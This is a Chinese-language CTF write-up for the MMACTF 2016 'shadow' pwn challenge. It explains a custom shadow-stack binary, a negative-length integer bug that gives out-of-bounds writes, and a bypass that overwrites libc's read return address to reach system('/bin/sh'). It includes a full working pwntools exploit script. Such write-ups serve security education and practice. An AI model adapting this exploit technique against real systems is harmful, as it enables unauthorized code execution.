MMACTF2016 PWN400 shadow Writeup

2016/09/23 CTF Writeup

题目文件与Exploit下载

今天在前往西安打华山杯的火车上百无聊赖,就补了下之前打MMACTF碰到的一道不错的题目,顺便写一下Writeup。

题目分析

首先我们先玩一下这道题的binary文件,可以看出来这道题目是一个留言系统,一共可以留言3次,每次留言需要输入name messagelength message,其中name是可选输入项。

Hello!
You can send message three times.
Input name : haha
Message length : 10
Input message : 233333333      
(1/3) <haha> 233333333

Change name? (y/n) : y
Input name : xixi
Message length : 6
Input message : 66666
(2/3) <xixi> 66666

Change name? (y/n) : n
Message length : 3  
Input message : ha
(3/3) <xixi> ha

Bye!

然后再看看这个题目的保护机制,Full RELRO的开启使得无法使用覆盖GOT的方法劫持控制流

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

将binary文件拖进IDA,会发现这道题目的函数调用与一般的可执行文件不一样,所有的函数调用都会被封装在call函数中,而函数返回则会被封装到ret函数中。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int *v3; // ebp@0
  void *block; // esp@1
  char *buf; // [esp+1Ch] [ebp-Ch]@1

  call((int (__cdecl *)(void *))printf, "Hello!\nYou can send message three times.\n");
  block = alloca(64);
  buf = (char *)(16 * (((unsigned int)&buf + 3) >> 4));
  *buf = 0;
  call((int (__cdecl *)(void *))message, buf, 0x10, 3);
  call((int (__cdecl *)(void *))printf, "Bye!\n");
  return (int)ret(v3, 0);
}

仔细研究call以及ret函数,可以发现这个题目的binary程序自己实现了一个影子栈(shadow stack),所有的函数调用以及函数返回都是通过这个影子栈进行。除了在函数调用和函数返回的时候,影子栈都是不可读写的。这样就导致了无法通过修改或覆盖返回地址的方式劫持控制流。

int call(int (__cdecl *a1)(void *), ...)
{
  int vars0; // [esp+4h] [ebp+0h]@0
  int retaddr; // [esp+8h] [ebp+4h]@1

  push(retaddr);
  push(vars0);
  return a1(ret_stub);
}
int __cdecl push(int a1)
{
  int *v1; // ebx@3
  int result; // eax@3

  stackpointer = *MK_FP(__GS__, 32);
  if ( stackpointer <= (unsigned int)stack_buf )
    _exit(1);
  stackpointer -= 4;
  mprotect(stack_buf, 0x1000u, 2);
  v1 = (int *)stackpointer;
  *v1 = enc_dec(a1);
  mprotect(stack_buf, 0x1000u, 0);
  result = stackpointer;
  *MK_FP(__GS__, 32) = stackpointer;
  return result;
}
void (*__usercall ret@<eax>(int *a1@<ebp>, int a2))()
{
  void (*result)(); // eax@1

  rval = a2;
  *a1 = pop();
  result = restore_eip;
  a1[1] = (int)restore_eip;
  return result;
}

漏洞分析

这道题的漏洞存在于留言函数中,由于getline函数的第二个参数length为unsigned int16型,所以当我们输入message的长度是负数时,传入getline的length将会是一个非常大的无符号整数,从而形成了一个越界写的漏洞。

void (*__cdecl leave_message(void *name, int name_len, int times))(){

...
	call((int (__cdecl *)(void *))printf, "Message length : ");
   	call((int (__cdecl *)(void *))getnline, buf, 32);
   	msglen = call((int (__cdecl *)(void *))atoi, buf);
   	if ( msglen > 32 )
      msglen = 32;
   	call((int (__cdecl *)(void *))printf, "Input message : ");
   	call((int (__cdecl *)(void *))getnline, buf, msglen);
...

}
    
void (*__cdecl getnline(void *buf, unsigned __int16 readlen))()

漏洞利用

任意地址可读可写

利用越界写漏洞可以修改留言函数的参数,修改name和name_len可以实现任意地址读写,修改times可以使得留言次数变为无限,从而实现无限次的任意地址可读可写。

利用for循环最后的printf函数,可以通过填充buf的长度len来泄漏栈地址buf+len的内容

void (*__cdecl leave_message(void *name, int name_len, int times))()
{
 int *v3; // ebp@0
 unsigned int v4; // eax@2
 void (*result)(); // eax@13
 int v6; // esi@13
 int i; // [esp+24h] [ebp-34h]@1
 int msglen; // [esp+28h] [ebp-30h]@9
 char buf[32]; // [esp+2Ch] [ebp-2Ch]@3
 int v10; // [esp+4Ch] [ebp-Ch]@1
 for ( i = 0; i < times; ++i )
 {
...
    if ( call((int (__cdecl *)(void *))strlen, name) )
    {
      call((int (__cdecl *)(void *))printf, "Change name? (y/n) : ");
      call((int (__cdecl *)(void *))getnline, buf, 32);
    }
    if ( !call((int (__cdecl *)(void *))strlen, name) || buf[0] == 'y' )
    {
      call((int (__cdecl *)(void *))printf, "Input name : ");
      call((int (__cdecl *)(void *))getnline, name, name_len);
    }
...
	call((int (__cdecl *)(void *))printf, "(%d/%d) <%s> %s\n\n", i + 1, times, name, buf);
 }
}

控制流劫持

实现了任意地址无限次可读可写与栈地址的读之后,距离控制流劫持应该是只有一步之遥了,但是有一个很麻烦的问题却出现了:写什么?读什么?

由于影子栈,我们没办法通过改写程序的返回地址来劫持控制流。由于Full RELRO,我们没有办法通过改写GOT或.finiarray来劫持控制流。当时比赛的时候我们就被卡在这里了。这也是这道题目出的最精妙的地方。

再次仔细研究这道题目的影子栈,会发现虽然binary文件中的所有函数调用都被影子栈所保护,但是libc的函数没有啊(函数调用只使用call函数调用没有使用ret函数返回),虽然binary的GOT被Full RELRO保护,但是libc的GOT没有啊!所以这道题的主要思路是通过写libc函数在栈上的返回地址或者改写libc的GOT来劫持控制流。

首先我们通过任意栈地址读来读取OLD EBP从而泄漏栈地址,接着我们再次利用任意栈地址读泄漏存在于栈中的一个libc data段的地址,利用这个地址我们可以算出system函数的地址,最后我们利用任意地址写来改写libc函数read本身的返回地址来实现控制流劫持,并覆盖read的返回地址后的内存为ROPGadget,通过ROP我们可以轻松获取shell了。

Exploit

from pwn import *;

port=8888
objname = "shadow"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="i386", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]

def readuntil(delim):
    data = io.recvuntil(delim);
    return data;

def readlen(len):
    data = io.recv(len,1);
    return data;

def readall():
    data = io.recv(4096,1);
    print data;
    return data;

def write(data):
    io.send(str(data));

def writeline(data):
    io.sendline(str(data));

def attack(ip=0):
    global io
    if ip != 0:
        io = remote(ip,port)
    writeline("name")
    writeline("-1"+29*"P");
    write("A"*0x2c)
    readuntil("A"*0x2c);
    stack=readlen(4);
    stack=u32(stack);
    print hex(stack)
    readall();
    add2w=stack-0x100; 
    sleep(0.1)
    writeline("n");
    writeline("-1"+29*"P");
    payload="A"*0x2c;
    payload+="xEBP";
    payload+="xRET";
    payload+=p32(add2w)
    payload+=p32(0x7fffffff);
    payload+=p32(0x7fffffff);
    payload+=0x14*"P";
    write(payload)
    readuntil("P"*0x14);
    libcdata=readlen(4);
    libcdata=u32(libcdata);
    system=libcdata-0x16a930
    binsh=libcdata-0x4a09c
    print hex(system)
    readall()
    sleep(0.1)
    payload=p32(system);
    payload+="xRET";
    payload+=p32(binsh)
    writeline(payload)
    readall()
    io.interactive();
attack()

Search

    Post Directory